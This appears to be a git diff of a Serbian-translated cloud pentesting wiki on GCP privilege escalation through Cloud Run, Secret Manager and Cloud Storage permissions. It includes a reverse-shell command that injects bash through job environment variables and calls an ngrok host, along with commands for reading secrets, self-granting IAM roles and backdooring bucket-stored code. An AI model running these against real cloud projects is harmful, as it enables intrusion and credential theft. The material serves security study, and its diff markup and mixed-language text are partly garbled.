gcloud run jobs set-iam-policy <JOB_NAME> <POLICY_FILE>.json \
|
||||
--region=us-central1
|
||||
|
||||
# Add binding
|
||||
gcloud run jobs add-iam-policy-binding <JOB_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="roles/run.invoker" \
|
||||
--region=us-central1
|
||||
|
||||
# Remove binding
|
||||
gcloud run jobs remove-iam-policy-binding <JOB_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="roles/run.invoker" \
|
||||
--region=us-central1
|
||||
```
|
||||
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
|
||||
|
||||
Iskoristite env variables pri izvršavanju job-a da pokrenete proizvoljni kod i dobijete reverse shell koji omogućava dump sadržaja containera (source code) i pristup SA u metadata:
|
||||
|
||||
<details>
|
||||
<summary>Execute Cloud Run job with environment variable exploitation</summary>
|
||||
Iskoristite env varijable tokom izvršavanja job-a da pokrenete proizvoljan kod i dobijete reverse shell kako biste izvadili sadržaj containera (source code) i pristupili SA unutar metapodataka:
|
||||
```bash
|
||||
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
|
||||
```
|
||||
</details>
|
||||
|
||||
## Reference
|
||||
## Izvori
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
|
||||
@@ -12,9 +12,9 @@ Za više informacija o secretmanager:
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
Ovo vam omogućava čitanje secrets iz secret manager-a i može pomoći u eskalaciji privilegija (u zavisnosti od toga koje su informacije pohranjene u secret-u):
|
||||
Ovo ti daje pristup za čitanje tajni iz secretmanager-a i može pomoći u eskalaciji privilegija (zavisno od toga koje su informacije pohranjene u tajni):
|
||||
|
||||
<details><summary>Dohvati clear-text secret verziju</summary>
|
||||
<details><summary>Dobij clear-text verziju tajne</summary>
|
||||
```bash
|
||||
# Get clear-text of version 1 of secret: "<secret name>"
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
@@ -29,14 +29,20 @@ Pošto je ovo takođe post exploitation tehnika, može se naći u:
|
||||
|
||||
### `secretmanager.secrets.setIamPolicy`
|
||||
|
||||
Ovo ti daje pristup za čitanje tajni iz Secret Manager-a, na primer koristeći:
|
||||
Ovo vam omogućava pristup za čitanje secrets iz secret manager-a, na primer koristeći:
|
||||
|
||||
<details><summary>Dodaj IAM policy binding za tajnu</summary>
|
||||
<details><summary>Dodaj IAM policy binding za secret</summary>
|
||||
```bash
|
||||
gcloud secrets add-iam-policy-binding <scret-name> \
|
||||
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
|
||||
--role="roles/secretmanager.secretAccessor"
|
||||
```
|
||||
Ili opozovite politike pomoću:
|
||||
```bash
|
||||
gcloud secrets remove-iam-policy-binding <secret-name> \
|
||||
--member="serviceAccount:<sa-name>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="roles/secretmanager.secretAccessor"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,28 +12,82 @@ Osnovne informacije:
|
||||
|
||||
### `storage.objects.get`
|
||||
|
||||
Ova dozvola vam omogućava da **preuzimate fajlove uskladištene u Cloud Storage**. To potencijalno može dovesti do eskalacije privilegija jer se u nekim slučajevima tamo čuvaju **osetljive informacije**. Pored toga, neke GCP usluge čuvaju svoje informacije u buckets:
|
||||
Ova dozvola vam omogućava da **download files stored inside Cloud Storage**. To potencijalno može omogućiti eskalaciju privilegija jer se u nekim slučajevima **sensitive information is saved there**. Pored toga, neke GCP usluge čuvaju svoje podatke u buckets:
|
||||
|
||||
- **GCP Composer**: Kada kreirate Composer Environment, **code of all the DAGs** biće sačuvan u **bucket**. Ti zadaci mogu sadržati interesantne informacije u svom kodu.
|
||||
- **GCR (Container Registry)**: The **image** of the containers are stored inside **buckets**, što znači da ako možete čitati buckets moći ćete da preuzmete image-e i **pretražite leaks i/ili source code**.
|
||||
- **GCP Composer**: When you create a Composer Environment the **code of all the DAGs** will be saved inside a **bucket**. Ovi zadaci mogu sadržati interesantne informacije u svom kodu.
|
||||
- **GCR (Container Registry)**: The **image** of the containers are stored inside **buckets**, što znači da ako možete čitati buckets moći ćete da download the images i **search for leaks and/or source code**.
|
||||
|
||||
### `storage.objects.setIamPolicy`
|
||||
|
||||
Možete sebi dodeliti dozvolu da **iskoristite bilo koji od prethodnih scenarija iz ovog odeljka**.
|
||||
Ova dozvola vam može omogućiti da **abuse any of the previous scenarios of this section**.
|
||||
```bash
|
||||
# Add binding
|
||||
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
|
||||
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
|
||||
--role="<ROLE>" \
|
||||
--project=<PROJECT_ID>
|
||||
|
||||
# Remove binding
|
||||
gcloud storage objects remove-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
|
||||
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
|
||||
--role="<ROLE>" \
|
||||
--project=<PROJECT_ID>
|
||||
|
||||
# Change Policy
|
||||
gcloud storage objects set-iam-policy gs://<BUCKET_NAME>/<OBJECT_NAME> - \
|
||||
--project=<PROJECT_ID> <<'POLICY'
|
||||
{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE>",
|
||||
"members": [
|
||||
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
POLICY
|
||||
|
||||
```
|
||||
### **`storage.buckets.setIamPolicy`**
|
||||
|
||||
Za primer kako modifikovati dozvole koristeći ovu dozvolu pogledajte ovu stranicu:
|
||||
Za primer kako izmeniti dozvole koristeći ovu dozvolu, pogledajte ovu stranicu:
|
||||
```bash
|
||||
# Add binding
|
||||
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
|
||||
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
|
||||
--role=<ROLE> \
|
||||
--project=<MY_PROJECT>
|
||||
|
||||
# Remove binding
|
||||
gcloud storage buckets remove-iam-policy-binding gs://<MY_BUCKET> \
|
||||
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
|
||||
--role=<ROLE> \
|
||||
--project=<MY_PROJECT>
|
||||
|
||||
# Change policy
|
||||
gcloud storage buckets set-iam-policy gs://<BUCKET_NAME> - \
|
||||
--project=<PROJECT_ID> <<'POLICY'
|
||||
{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE>",
|
||||
"members": [
|
||||
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
POLICY
|
||||
|
||||
```
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
|
||||
{{#endref}}
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
Cloud Storage's "interoperability" feature, dizajnirana za **cross-cloud interactions** kao što je AWS S3, podrazumeva **kreiranje HMAC keys za Service Accounts i users**. Napadač to može iskoristiti tako što će **generisati HMAC key za Service Account sa povišenim privilegijama**, čime **escalating privileges within Cloud Storage**. Dok se HMAC keys povezani sa korisnicima mogu preuzeti samo preko web console, i access and secret keys ostaju **perpetually accessible**, što omogućava potencijalno skladištenje rezervnog pristupa. Suprotno tome, HMAC keys vezani za Service Account se mogu pristupiti preko API-ja, ali njihovi access and secret keys nisu dostupni za preuzimanje nakon kreiranja, što dodaje sloj složenosti za kontinuirani pristup.
|
||||
|
||||
<details><summary>Create and use HMAC key for privilege escalation</summary>
|
||||
Funkcija "interoperability" u Cloud Storage-u, namenjena **interakcijama između cloudova** kao što je AWS S3, podrazumeva **kreiranje HMAC ključeva za Service Accounts i korisnike**. Napadač to može iskoristiti tako što će **generisati HMAC ključ za Service Account sa povišenim privilegijama**, čime će **eskalirati privilegije unutar Cloud Storage-a**. Dok su HMAC ključevi povezani sa korisnicima dostupni za preuzimanje samo preko web console, i access i secret keys ostaju **stalno dostupni**, što omogućava potencijalno čuvanje rezervnog pristupa. S druge strane, HMAC ključevi povezani sa Service Account-ima su dostupni preko API-ja, ali njihovi access i secret keys se ne mogu preuzeti nakon kreiranja, što uvodi dodatni nivo kompleksnosti za kontinuirani pristup.
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
|
||||
@@ -63,54 +117,52 @@ gsutil ls gs://[BUCKET_NAME]
|
||||
# Restore
|
||||
gcloud config set pass_credentials_to_gsutil true
|
||||
```
|
||||
</details>
|
||||
|
||||
Još jedan exploit script za ovu metodu može se naći [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
|
||||
### `storage.objects.create`, `storage.objects.delete` = Storage dozvole za pisanje
|
||||
### `storage.objects.create`, `storage.objects.delete` = Storage Write permissions
|
||||
|
||||
Da biste **kreirali novi objekat** unutar bucket-a potrebno je `storage.objects.create` i, prema [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), potrebno je i `storage.objects.delete` da biste **izmenili** postojeći objekat.
|
||||
Da biste **kreirali novi objekt** unutar bucket-a potrebni su `storage.objects.create` i, prema [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), potreban vam je i `storage.objects.delete` da biste **modifikovali** postojeći objekat.
|
||||
|
||||
Veoma česta eksploatacija bucket-a u kojima imate mogućnost pisanja u cloud dešava se kada bucket čuva fajlove web servera — moguće je uskladištiti novi code koji će koristiti web aplikacija.
|
||||
Vrlo **česta eksploatacija** bucket-a u kojima možete pisati u cloud je kada **bucket čuva fajlove web servera** — moguće je **smeštanje novog koda** koji će koristiti web aplikacija.
|
||||
|
||||
### Composer
|
||||
|
||||
**Composer** je **Apache Airflow** koji se upravlja unutar GCP. Ima nekoliko interesantnih karakteristika:
|
||||
**Composer** je **Apache Airflow** managed unutar GCP. Ima nekoliko interesantnih osobina:
|
||||
|
||||
- Radi unutar **GKE cluster-a**, tako da je **SA koji cluster koristi dostupan** kodu koji se izvršava unutar Composer-a
|
||||
- Sve komponente composer environment-a (**code of DAGs**, plugins i data) su smeštene unutar GCP bucket-a. Ako napadač ima read i write permisije nad njim, mogao bi da prati bucket i **kad god se DAG kreira ili ažurira, ubaci backdoored verziju** tako da composer environment iz storage-a preuzme backdoored verziju.
|
||||
- Radi unutar **GKE cluster**, tako da je **SA koji klaster koristi dostupan** kodu koji se izvršava unutar Composer-a
|
||||
- Svi delovi composer environment-a (**code of DAGs**, plugins i data) su uskladišteni u GCP bucket-u. Ako napadač ima read i write permissions nad njim, može pratiti bucket i **kad god se kreira ili ažurira DAG, ubaciti backdoored verziju** tako da composer environment preuzme backdoored verziju iz storage-a.
|
||||
|
||||
**Možete naći PoC ovog napada u repo-u:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
|
||||
### Cloud Functions
|
||||
|
||||
- Cloud Functions code je smešten u Storage i kad god se kreira nova verzija, code se push-uje u bucket i zatim se iz tog code-a gradi novi container. Dakle, **prepisivanjem code-a pre nego što se nova verzija sagradi moguće je naterati cloud function da izvrši proizvoljan code**.
|
||||
- Cloud Functions code se čuva u Storage i kad se kreira nova verzija, kod se gura u bucket i zatim se iz tog koda pravi novi container. Dakle, **prepisivanjem koda pre nego što se nova verzija build-uje moguće je natjerati cloud function da izvrši arbitrarni kod**.
|
||||
|
||||
**Možete naći PoC ovog napada u repo-u:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
|
||||
### App Engine
|
||||
|
||||
AppEngine verzije generišu neke podatke unutar bucket-a sa formatom imena: `staging.<project-id>.appspot.com`. Unutar ovog bucket-a moguće je naći folder nazvan `ae` koji će sadržati folder po verziji AppEngine aplikacije, a u tim folderima moguće je pronaći fajl `manifest.json`. Taj fajl sadrži json sa svim fajlovima koji moraju biti korišćeni za kreiranje određene verzije. Pored toga, moguće je naći **prava imena fajlova, URL do njih unutar GCP bucket-a (fajlovi u bucket-u su promenili ime u svoje sha1 hash-ove) i sha1 hash svakog fajla.**
|
||||
AppEngine verzije generišu neke podatke unutar bucket-a sa formatom imena: `staging.<project-id>.appspot.com`. U tom bucket-u moguće je naći folder zvan `ae` koji sadrži folder po verziji AppEngine aplikacije i unutar tih foldera moguće je naći fajl `manifest.json`. Taj fajl sadrži json sa svim fajlovima koji se moraju koristiti za kreiranje specifične verzije. Štaviše, moguće je pronaći **prava imena fajlova, URL do njih unutar GCP bucket-a (fajlovi u bucket-u promene ime u sha1 hash) i sha1 hash svakog fajla.**
|
||||
|
||||
_Napomena: nije moguće prethodno takeover-ovati ovaj bucket jer GCP korisnici nisu autorizovani da kreiraju bucket-ove koristeći domen appspot.com._
|
||||
_Napomena da nije moguće pre-takeover-ovati ovaj bucket jer GCP korisnici nisu autorizovani da generišu bucket-e koristeći domen appspot.com._
|
||||
|
||||
Međutim, uz read & write pristup ovom bucket-u, moguće je eskalirati privilegije na SA vezan za App Engine verziju tako što se prati bucket i svaki put kad se izvrši promena (nova verzija), izmeni nova verzija što je brže moguće. Na taj način container koji se kreira iz tog code-a će izvršiti backdoored code.
|
||||
Međutim, sa read & write pristupom nad ovim bucket-om, moguće je eskalirati privilegije na SA vezan za App Engine verziju tako što se prati bucket i svaki put kad se izvrši promena (nova verzija), modifikuje nova verzija što je brže moguće. Na taj način container koji se kreira iz tog koda će izvršiti backdoored kod.
|
||||
|
||||
Navedeni napad se može izvesti na više različitih načina, svi počinju praćenjem `staging.<project-id>.appspot.com` bucket-a:
|
||||
|
||||
- Upload-ujte kompletan novi code AppEngine verzije u drugi dostupan bucket i pripremite **`manifest.json` fajl sa novim imenom bucket-a i sha1 hash-ovima fajlova**. Zatim, kada se kreira nova verzija unutar bucket-a, jednostavno izmenite `manifest.json` i upload-ujte malicioznu verziju.
|
||||
- Upload-ujte izmenjenu verziju `requirements.txt` koja će koristiti maliciozni dependencies code i ažurirajte `manifest.json` fajl sa novim imenom fajla, URL-om i hash-om.
|
||||
- Upload-ujte **izmenjeni `main.py` ili `app.yaml` fajl koji će izvršiti maliciozni code** i ažurirajte `manifest.json` fajl sa novim imenom fajla, URL-om i hash-om.
|
||||
- Upload-ujte kompletan novi kod AppEngine verzije u drugi dostupan bucket i pripremite **`manifest.json` fajl sa novim imenom bucket-a i sha1 hash-evima fajlova**. Kada se nova verzija kreira u bucket-u, samo trebate zameniti `manifest.json` i upload-ovati zlonamerni.
|
||||
- Upload-ujte modifikovanu verziju `requirements.txt` koja koristi **malicious dependencies code** i ažurirajte `manifest.json` fajl sa novim imenom fajla, URL-om i hash-om.
|
||||
- Upload-ujte **modifikovani `main.py` ili `app.yaml` fajl koji će izvršiti malicious kod** i ažurirajte `manifest.json` fajl sa novim imenom fajla, URL-om i hash-om.
|
||||
|
||||
**Možete naći PoC ovog napada u repo-u:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
|
||||
### GCR
|
||||
|
||||
- **Google Container Registry** čuva image-e unutar bucket-ova; ako možete pisati u te bucket-ove, mogli biste se lateralno pomeriti tamo gde se ti bucket-ovi izvršavaju.
|
||||
- Bucket koji koristi GCR će imati URL sličan `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (top-level subdomene su specificirane [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
|
||||
- **Google Container Registry** čuva image-e unutar bucket-a, ako možete **pisati u te bucket-e** možda ćete moći **lateralno kretanje ka mestima gde se ti bucket-i izvršavaju.**
|
||||
- Bucket koji koristi GCR će imati URL sličan `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (Top level subdomeni su specificirani [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
|
||||
|
||||
> [!TIP]
|
||||
> Ova usluga je deprecated pa ovaj napad više nije koristan. Pored toga, Artifact Registry, servis koji zamenjuje ovu uslugu, ne čuva image-e u bucket-ovima.
|
||||
> Ova usluga je deprecated tako da ovaj napad više nije koristan. Štaviše, Artifact Registry, servis koji je zamenjuje, ne skladišti image-e u bucket-ima.
|
||||
|
||||
## **References**
|
||||
|
||||
|
||||
Reference in New Issue
Block a user